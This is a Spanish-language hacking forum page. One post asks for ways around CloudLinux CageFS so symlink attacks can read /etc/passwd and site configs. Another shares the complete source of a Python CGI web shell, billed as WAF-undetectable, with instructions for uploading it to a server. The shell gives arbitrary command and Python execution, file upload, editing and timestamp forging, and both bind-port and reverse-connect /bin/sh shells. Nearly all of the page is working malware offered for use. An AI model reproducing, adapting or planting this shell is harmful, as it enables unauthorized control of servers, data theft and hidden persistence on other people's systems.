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#1
Dudas y pedidos generales / Cloud Linux | CageFS Bypass Help
Junio 06, 2018, 08:30:24 AM
Most of the servers are now using cloud linux protection to protect from symlink attack on shared web You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login far there are only method to bypass the cagefs and get /etc/passwd and some other system files.If any one knows any method to bypass cagefs and do symlink attacks to get config kindly share the bypass method will be most helpful.

Thanks in advance :)

Product website : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#2
Shells / Python Web Shell WSO 0.1 - Undetectable By WAF
Mayo 17, 2018, 01:54:19 AM
Just wanted to share this python web shell which and work on mostly strong security server .

Usage : create a new directory inside server and upload the You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login and change permission to 755 .

This can also bypass command execution if function are disabled on server and most of php shell wont allow to execute commands.

Código: python
#!/usr/bin/env python
import sys, os, cgi, commands, time, Cookie, socket
from stat import *
from datetime import datetime
sys.stderr = open(os.devnull, 'w')

password = "c94a116b6fd8e2625b3055f4d8503eb6"
version = "0.1 [py]"


def getall(theform, nolist = False):
    data = {}
    for field in theform.keys():
        if type(theform[field]) ==  type([]):
            if not nolist:
                data[field] = theform.getlist(field)
            else:
                data[field] = theform.getfirst(field)
        elif theform[field].filename:
            _FILES[field] = theform[field]
        else:
            data[field] = theform[field].value
    return data

def escape(str):
    return str.replace("'", "\\'").replace("\r", "\\r").replace("\n", "\\n")

_FILES = {}
_REQUEST = getall( cgi.FieldStorage() )
if _REQUEST.has_key('charset') == False:
    _REQUEST['charset'] = "Windows-1251"
if _REQUEST.has_key('a') == False:
    _REQUEST['a'] = "files"
if _REQUEST.has_key('c') == False:
    _REQUEST['c'] = os.getcwd()
if _REQUEST.has_key('p1') == False:
    _REQUEST['p1'] = ""
if _REQUEST.has_key('p2') == False:
    _REQUEST['p2'] = ""
if _REQUEST.has_key('p3') == False:
    _REQUEST['p3'] = ""

_COOKIE = Cookie.SimpleCookie()
try:
    _COOKIE.load(os.environ["HTTP_COOKIE"])
except:
    pass

def printLogin():
    _COOKIE['psswd'] = "";
    print _COOKIE;
    print "Content-type: text/html\n";
    print """<center><form method=post>Password: <input type=password name=psswd><input type=submit value='&gt;&gt;'></form></center>"""
    exit()

if _COOKIE.has_key('psswd') and len(_COOKIE['psswd'].value) > 0 :
    if _COOKIE['psswd'].value != password:
        printLogin()
elif _REQUEST.has_key('psswd'):
        try:
            import hashlib
            psswd = hashlib.md5()
        except:
            import md5
            psswd = md5.new()
        psswd.update(_REQUEST['psswd'])
        if psswd.hexdigest() != password:
            printLogin()
        else:
            _COOKIE['psswd'] = psswd.hexdigest()
else:
    printLogin()

print _COOKIE
home_dir = os.getcwd()

try:
    os.chdir(_REQUEST['c'])
except os.error, msg:
    pass

cwd = os.getcwd();
if cwd[-1] != '/':
    cwd += '/'

def printHeader():
    print "Content-type: text/html\n";
    print "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" + _REQUEST['charset'] + "'><title>" + os.environ["SERVER_NAME"] + " - WSO " + version + """</title>
    <style>
        body{background-color:#444;color:#e1e1e1;}
        body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
        table.info{ color:#fff;background-color:#222; }
        span,h1,a{ color:#df5 !important; }
        span{ font-weight: bolder; }
        h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
        div.content{ padding: 5px;margin-left:5px;background-color:#333; }
        a{ text-decoration:none; }
        a:hover{ text-decoration:underline; }
        .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
        .bigarea{ width:100%;height:250px; }
        input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,"Courier New"; }
        form{ margin:0px; }
        #toolsTbl{ text-align:center; }
        .toolsInp{ width: 300px }
        .main th{text-align:left;background-color:#5e5e5e;}
        .main tr:hover{background-color:#5e5e5e}
        .l1{background-color:#444}
        pre,.m{font-family:Courier,Monospace;}
    </style>
    <script>
        var c_ = '""" + escape(_REQUEST['c']) + """';
        var a_ = '""" + escape(_REQUEST['a']) + """';
        var p1_ = '""" + escape(_REQUEST['p1']) + """';
        var p2_ = '""" + escape(_REQUEST['p2']) + """';
        var p3_ = '""" + escape(_REQUEST['p3']) + """';
        var charset_ = '""" + escape( _REQUEST['charset'] ) + """';
        function g(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
            if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
            if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
            if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
            if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
            if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
            document.mf.submit();
        }
    </script>
    <head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
    <form method=post name=mf style='display:none;'>
    <input type=hidden name=a>
    <input type=hidden name=c>
    <input type=hidden name=p1>
    <input type=hidden name=p2>
    <input type=hidden name=p3>
    <input type=hidden name=charset>
    </form>"""
    print '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Time:<br>Cwd:</span></td>'
    print '<td><nobr>'
    for x in os.uname():
        sys.stdout.write(x+' ')
    t = time.localtime()
    print '</nobr><br>%s<br>%d-%.2d-%.2d %.2d:%.2d:%.2d <span>Server IP:</span> %s <span>Client IP:</span> %s<br>' %( commands.getoutput( 'id' ), t[0], t[1], t[2], t[3], t[4], t[5], os.environ['SERVER_ADDR'], os.environ['REMOTE_ADDR'])
    path = ''
    paths = cwd.split('/')
    paths.pop()
    for x in paths:
        path += x + '/'
        sys.stdout.write("""<a href="#" onclick="g('files','"""+escape(path)+"""', '', '', '')">"""+x+"""/</a>""")
    print " " + permsColor(cwd),"""<a href='#' onclick="g('files','"""+ escape( home_dir ) +"""', '', '', '')">[ home ]</a>"""
    charsets = ['UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866']
    print '<td width=1 align=right><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'
    for charset in charsets:
        sys.stdout.write('<option value="%s" ' % charset)
        if _REQUEST['charset'] == charset:
             sys.stdout.write('selected')
        sys.stdout.write('>%s</option>' % charset)
    print '</optgroup></select><br></td></tr></table><table style="border-top:2px solid #333;text-align: center;" cellpadding=3 cellspacing=0 width=100%><tr>'
    for x in ['Files', 'Console', 'Python', 'Network']:
        print "<td width='100px'>[ <a href='#' onclick='g(\""+x.lower()+'", null, "", "", "")\'>'+x+'</a> ]</td>'
    print '<td></td></tr></table><div style="margin:5">'

def printFooter():
    if os.access (cwd, os.W_OK):
        writable = "<font color=green>[ Writeable ]</font>"
    else:
        writable = "<font color=red>[ Not writable ]</font>"
    print """</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style="border-top:2px solid #333;border-bottom:2px solid #333;">
	<tr>
		<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value='""" + cwd + """'><input type=submit value="&gt;&gt;"></form></td>
		<td><form onsubmit="g('fileTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="&gt;&gt;"></form></td>
	</tr>
	<tr>
		<td><form onsubmit="g('files',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value="&gt;&gt;"></form>"""+writable+"""</td>
		<td><form onsubmit="g('fileTools',null,this.f.value,'save','');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="&gt;&gt;"></form>"""+writable+"""</td>
	</tr>
	<tr>
		<td><form onsubmit="g('console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value="&gt;&gt;"></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='files'>
		<input type=hidden name=c value='"""+cwd+"""'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='"""+_REQUEST['charset']+"""'>
		<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value="&gt;&gt;"></form>"""+writable+"""</td>
	</tr>

</table>
</div>
</body></html>"""

def viewSize(s):
    if s >= 1073741824:
		return "%1.2f  GB" % (s / 1073741824.0);
    elif s >= 1048576:
		return "%1.2f  MB" % (s / 1048576.0);
    elif s >= 1024:
		return "%1.2f  KB" % (s / 1024.0);
    else:
		return str(s) + ' B';

def perms(p):
    mode = os.lstat(p)[ST_MODE]
    p = mode
    i="";
    if (p & 0xC000) == 0xC000:
        i = 's'
    elif (p & 0xA000) == 0xA000:
        i = 'l'
    elif (p & 0x8000) == 0x8000:
        i = '-'
    elif (p & 0x6000) == 0x6000:
        i = 'b'
    elif (p & 0x4000) == 0x4000:
        i = 'd'
    elif (p & 0x2000) == 0x2000:
        i = 'c'
    elif (p & 0x1000) == 0x1000:
        i = 'p'
    else:
        i = 'u'
    if p & 0x0100: i += 'r'
    else: i += '-'
    if p & 0x0080: i += 'w'
    else: i += '-'
    if  p & 0x0040:
        if p & 0x0800: i += 's'
        else: i += 'x'
    else:
        if p & 0x0800: i += 'S'
        else: i+='-'
    if p & 0x0020: i += 'r'
    else: i += '-'
    if p & 0x0010: i += 'w'
    else: i += '-'
    if  p & 0x0008:
        if p & 0x0400: i += 's'
        else: i += 'x'
    else:
        if p & 0x0400: i += 'S'
        else: i += '-'
    if p & 0x0004: i += 'r'
    else: i += '-'
    if p & 0x0002: i += 'w'
    else: i += '-'
    if  p & 0x0001:
        if p & 0x0200: i += 't'
        else: i += 'x'
    else:
        if p & 0x0200: i += 'T'
        else: i += '-'

    return i;

def permsColor(path):
    if not os.access (path, os.R_OK):
        return "<font color='#FF0000'>"+perms(path)+"</font>"
    elif os.access (path, os.W_OK):
        return "<font color='#00BB00'>"+perms(path)+"</font>"
    else:
        return "<font color='white'>"+perms(path)+"</font>"

def actionConsole():
    printHeader()
    print "<h1>Console</h1><div class=content>"
    print """<form name="cf" onSubmit="g(null, null, this.cmd.value);return false;" style="border:1px solid #df5;background-color:#555;"><textarea class=bigarea style="border:0px;" readonly>"""
    if len(_REQUEST['p1']) > 0:
        print '$', cgi.escape(_REQUEST['p1'])
        print cgi.escape(commands.getoutput(_REQUEST['p1']))

    print '</textarea><table cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;"></td></tr></table>'
    print "</form></div><script>document.cf.cmd.focus();</script>"
    printFooter()

def actionFiles():
    printHeader()
    if _REQUEST['p1'] == 'uploadFile':
        try:
            if _FILES['f'].filename:
                fn = os.path.basename(_FILES['f'].filename)
                open(fn, 'wb').write(_FILES['f'].file.read())
        except: pass
    if _REQUEST['p1'] == 'mkdir':
        try: os.mkdir(_REQUEST['p2'])
        except: pass
    print "<h1>File manager</h1><div class=content>"
    item_stat = os.lstat('..')

    def dirItemInfo(name, item_stat):
        if S_ISLNK(item_stat[ST_MODE]):
            type = "link"
        else:
            type = "dir"
        tmp = {
                'name'  : name,
                'path'  : os.path.join(cwd, name),
                'size'  : viewSize(item_stat[ST_SIZE]),
                'mtime' : datetime.fromtimestamp(item_stat[ST_MTIME]).strftime("%Y-%m-%d %H:%M:%S"),
                'uid'   : str(item_stat[ST_UID]),
                'gid'   : str(item_stat[ST_GID]),
                'perms' : permsColor(name),
                'type'  : type
              }
        return tmp
    dirs = [dirItemInfo('..', os.lstat('..'))]
    files = []

    for item in os.listdir(cwd):
        item_stat = os.lstat(item)
        mode = item_stat[ST_MODE]
        tmp = dirItemInfo(item, item_stat)
        if S_ISLNK(mode) or S_ISDIR(mode):
            dirs.append(tmp)
        elif S_ISREG(mode):
            files.append(tmp)

    print "<table width='100%' class='main' cellspacing='0' cellpadding='2'><form method='post'>"
    print """<tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>""";
    
    def sort(a, b):
        return cmp(a['name'].lower(), b['name'].lower())

    line = 0
    for item in sorted(dirs, sort):
        print "<tr"
        if line:
            print " class=l1"
        print "><td><a href='#' onclick='g(null,\""+escape(item['path'])+"\")'><b>[ "+cgi.escape(item['name'])+" ]</b></a></td><td>"+item['type']+"</td><td>"+item['mtime']+"</td><td>"+item['uid']+"/"+item['gid']+"</td><td><a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'chmod')\">"+item['perms']+"</a></td>"
        print "<td><a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'rename')\">R</a> <a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'touch')\">T</a></td></tr>"
        line = (line + 1)%2
    for item in sorted(files, sort):
        print "<tr"
        if line:
            print " class=l1"
        print "><td><a href='#' onclick='g(\"fileTools\",null,\""+escape(item['name'])+"\")'>"+cgi.escape(item['name'])+"</a></td><td>"+item['size']+"</td><td>"+item['mtime']+"</td><td>"+item['uid']+"/"+item['gid']+"</td><td><a href=# onclick=\"g('fileTools', null, '"+escape(item['path'])+"', 'chmod')\">"+item['perms']+"</a></td>"
        print "<td><a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'rename')\">R</a> <a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'touch')\">T</a> <a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'edit')\">E</a> <a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'download')\">D</a></td></tr>"
        line = (line + 1)%2

    print "</form></table></div>"
    printFooter()

def actionFileTools():
    if _REQUEST['p2'] == "":
        _REQUEST['p2'] = "view"
    if _REQUEST['p2'] == "download":
        print "Content-Disposition: attachment; filename=" + os.path.basename(_REQUEST['p1']) + "\n"
        try:
            fp = open(_REQUEST['p1'], 'rb')
            for x in fp.readlines():
                sys.stdout.write(x)
            fp.close()
        except: pass
        return
    if _REQUEST['p2'] == "save":
        try:
            fp = open(_REQUEST['p1'], 'w')
            fp.write(_REQUEST['p3'])
            fp.close()
        except: pass
        _REQUEST['p2'] = 'edit'
    printHeader()
    print "<h1>File tools</h1><div class=content>"
    item_stat = os.stat(_REQUEST['p1'])
    print "<span>File: </span>" + os.path.basename(_REQUEST['p1']) + " <span>Size: </span> " +viewSize(item_stat[ST_SIZE]) + " <span>Permission:</span> " +permsColor(_REQUEST['p1'])
    print "<br/>"
    if S_ISDIR(item_stat[ST_MODE]):
        menu = ['Chmod', 'Rename', 'Touch']
    else:
        menu = ['View', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch']
    for x in menu:
        print "<a href=# onclick=\"g(null, null, null, '"+x.lower()+"')\">"
        if x.lower() == _REQUEST['p2']:
            print "<b>[ " + x + " ]</b>"
        else:
            print x
        print "</a> "
    print "<br><br>";
    if _REQUEST['p2'] == "view":
        try:
            fp = open(_REQUEST['p1'], 'r')
            print "<pre class=ml1>"
            for x in fp.readlines():
                sys.stdout.write(cgi.escape(x))
            fp.close()
            print "</pre>"
        except:
            print "Can't open file! "+_REQUEST['p1']
    if _REQUEST['p2'] == "edit":
        try:
            fp = open(_REQUEST['p1'], 'r')
            print "<form onsubmit=\"g(null,null,'"+escape(_REQUEST['p1'])+"', 'save', this.f.value);return false;\"><textarea name=f class=bigarea>"
            for x in fp.readlines():
                sys.stdout.write(cgi.escape(x))
            fp.close()
            print "</textarea><input type='submit' value='&gt;&gt;'></form>"
        except:
            print "Can't open (create) file! "+_REQUEST['p1']
    if _REQUEST['p2'] == "chmod":
        import stat, string
        if len(_REQUEST['p3']):
            perm = string.atoi(_REQUEST['p3'], 8)
            try:
                os.chmod(_REQUEST['p1'], perm)
                print "Done"
            except: print "Fail!"
        print "<form onsubmit=\"g(null,null,'"+escape(_REQUEST['p1'])+"', 'chmod', this.p.value);return false;\"><input type='text' name='p' value='"
        print "%o" % stat.S_IMODE(os.stat(_REQUEST['p1'])[ST_MODE])
        print "'/><input type='submit' value='&gt;&gt;'></form>"
    if _REQUEST['p2'] == "rename":
        if len(_REQUEST['p3']):
            try:
                os.rename(_REQUEST['p1'], _REQUEST['p3'])
                _REQUEST['p1'] = _REQUEST['p3']
                print "Done<script>p2_='" + escape(_REQUEST['p3']) + "'</script>"
            except: print "Fail!"
        print "<form onsubmit=\"g(null,null,'"+escape(_REQUEST['p1'])+"', 'rename', this.n.value);return false;\"><input type='text' name='n' value='" + escape(_REQUEST['p1'])+ "'/><input type='submit' value='&gt;&gt;'></form>"

    if _REQUEST['p2'] == "touch":
        if len(_REQUEST['p3']):
            try:
                tmstmp = time.mktime(time.strptime(_REQUEST['p3'], "%Y-%m-%d %H:%M:%S"))
                os.utime(_REQUEST['p1'], (tmstmp, tmstmp))
                item_stat = os.stat(_REQUEST['p1'])
                print "Done"
            except: print "Fail!"
        print "<form onsubmit=\"g(null,null,'"+escape(_REQUEST['p1'])+"', 'touch', this.n.value);return false;\"><input type='text' name='n' value='"
        print datetime.fromtimestamp(item_stat[ST_MTIME]).strftime("%Y-%m-%d %H:%M:%S")
        print "'/><input type='submit' value='&gt;&gt;'></form>"

    print "</div>"
    printFooter()

def actionPython():
    printHeader()
    print "<h1>Exec python code</h1><div class=content>"
    print """<form name="cf" onSubmit="g(null, null, this.c.value);return false;"><textarea class=bigarea name=c>"""
    print '</textarea><input type=submit value="&gt;&gt;">'
    if len(_REQUEST['p1']) > 0:
        print '<pre class="ml1" style="margin-top:5px;">'
        try:
            import StringIO
            old_stdout = sys.stdout
            sys.stdout = StringIO.StringIO()
            exec(_REQUEST['p1'])
            data = sys.stdout.getvalue()
            sys.stdout = old_stdout
            print cgi.escape(data)
        except:
            pass
        print '</pre>'
    print "</form></div>"
    printFooter()

def actionNetwork():
    printHeader()
    print """<h1>Network tools</h1><div class=content>
    <form name='nfp' onSubmit="g(null,null,'bp',this.port.value);return false;">
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'><input type=submit value=">>">
	</form>
	<form name='nfp' onSubmit="g(null,null,'bc',this.server.value,this.port.value);return false;">
	<span>Back-connect to</span><br/>
	Server: <input type='text' name='server' value='"""+os.environ['REMOTE_ADDR']+"""'> Port: <input type='text' name='port' value='31337'><input type=submit value=">>">
	</form><br>"""
    if _REQUEST['p1'] != "":
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
    if _REQUEST['p1'] == "bp":
        try:
            sock.bind(('localhost', int(_REQUEST['p2'])))
            sock.listen(0)
        except:
            print "error"
        else:
            print "done"
        if os.fork()!=0:
            (c,addr)=sock.accept()
            os.dup2(c.fileno(), 0)
            os.dup2(c.fileno(), 1)
            os.dup2(c.fileno(), 2)
            os.system('/bin/sh -i')
            c.shutdown(2)
            sock.shutdown(2)
    elif _REQUEST['p1'] == "bc":
        try:
            sock.connect( (_REQUEST['p2'], int(_REQUEST['p3'])) )
        except:
            print "error"
        else:
            print "done"
            if os.fork()!=0:
                os.dup2(sock.fileno(), 0)
                os.dup2(sock.fileno(), 1)
                os.dup2(sock.fileno(), 2)
                os.system('/bin/sh -i')
                sock.shutdown(2)
    print "</div>"
    printFooter()


try:
    {
        'files' : actionFiles,
        'fileTools' : actionFileTools,
        'console' : actionConsole,
        'python' : actionPython,
        'network' : actionNetwork
    }[_REQUEST['a']]()
except KeyError:
    printHeader()
    printFooter()


./sm0k3
Páginas1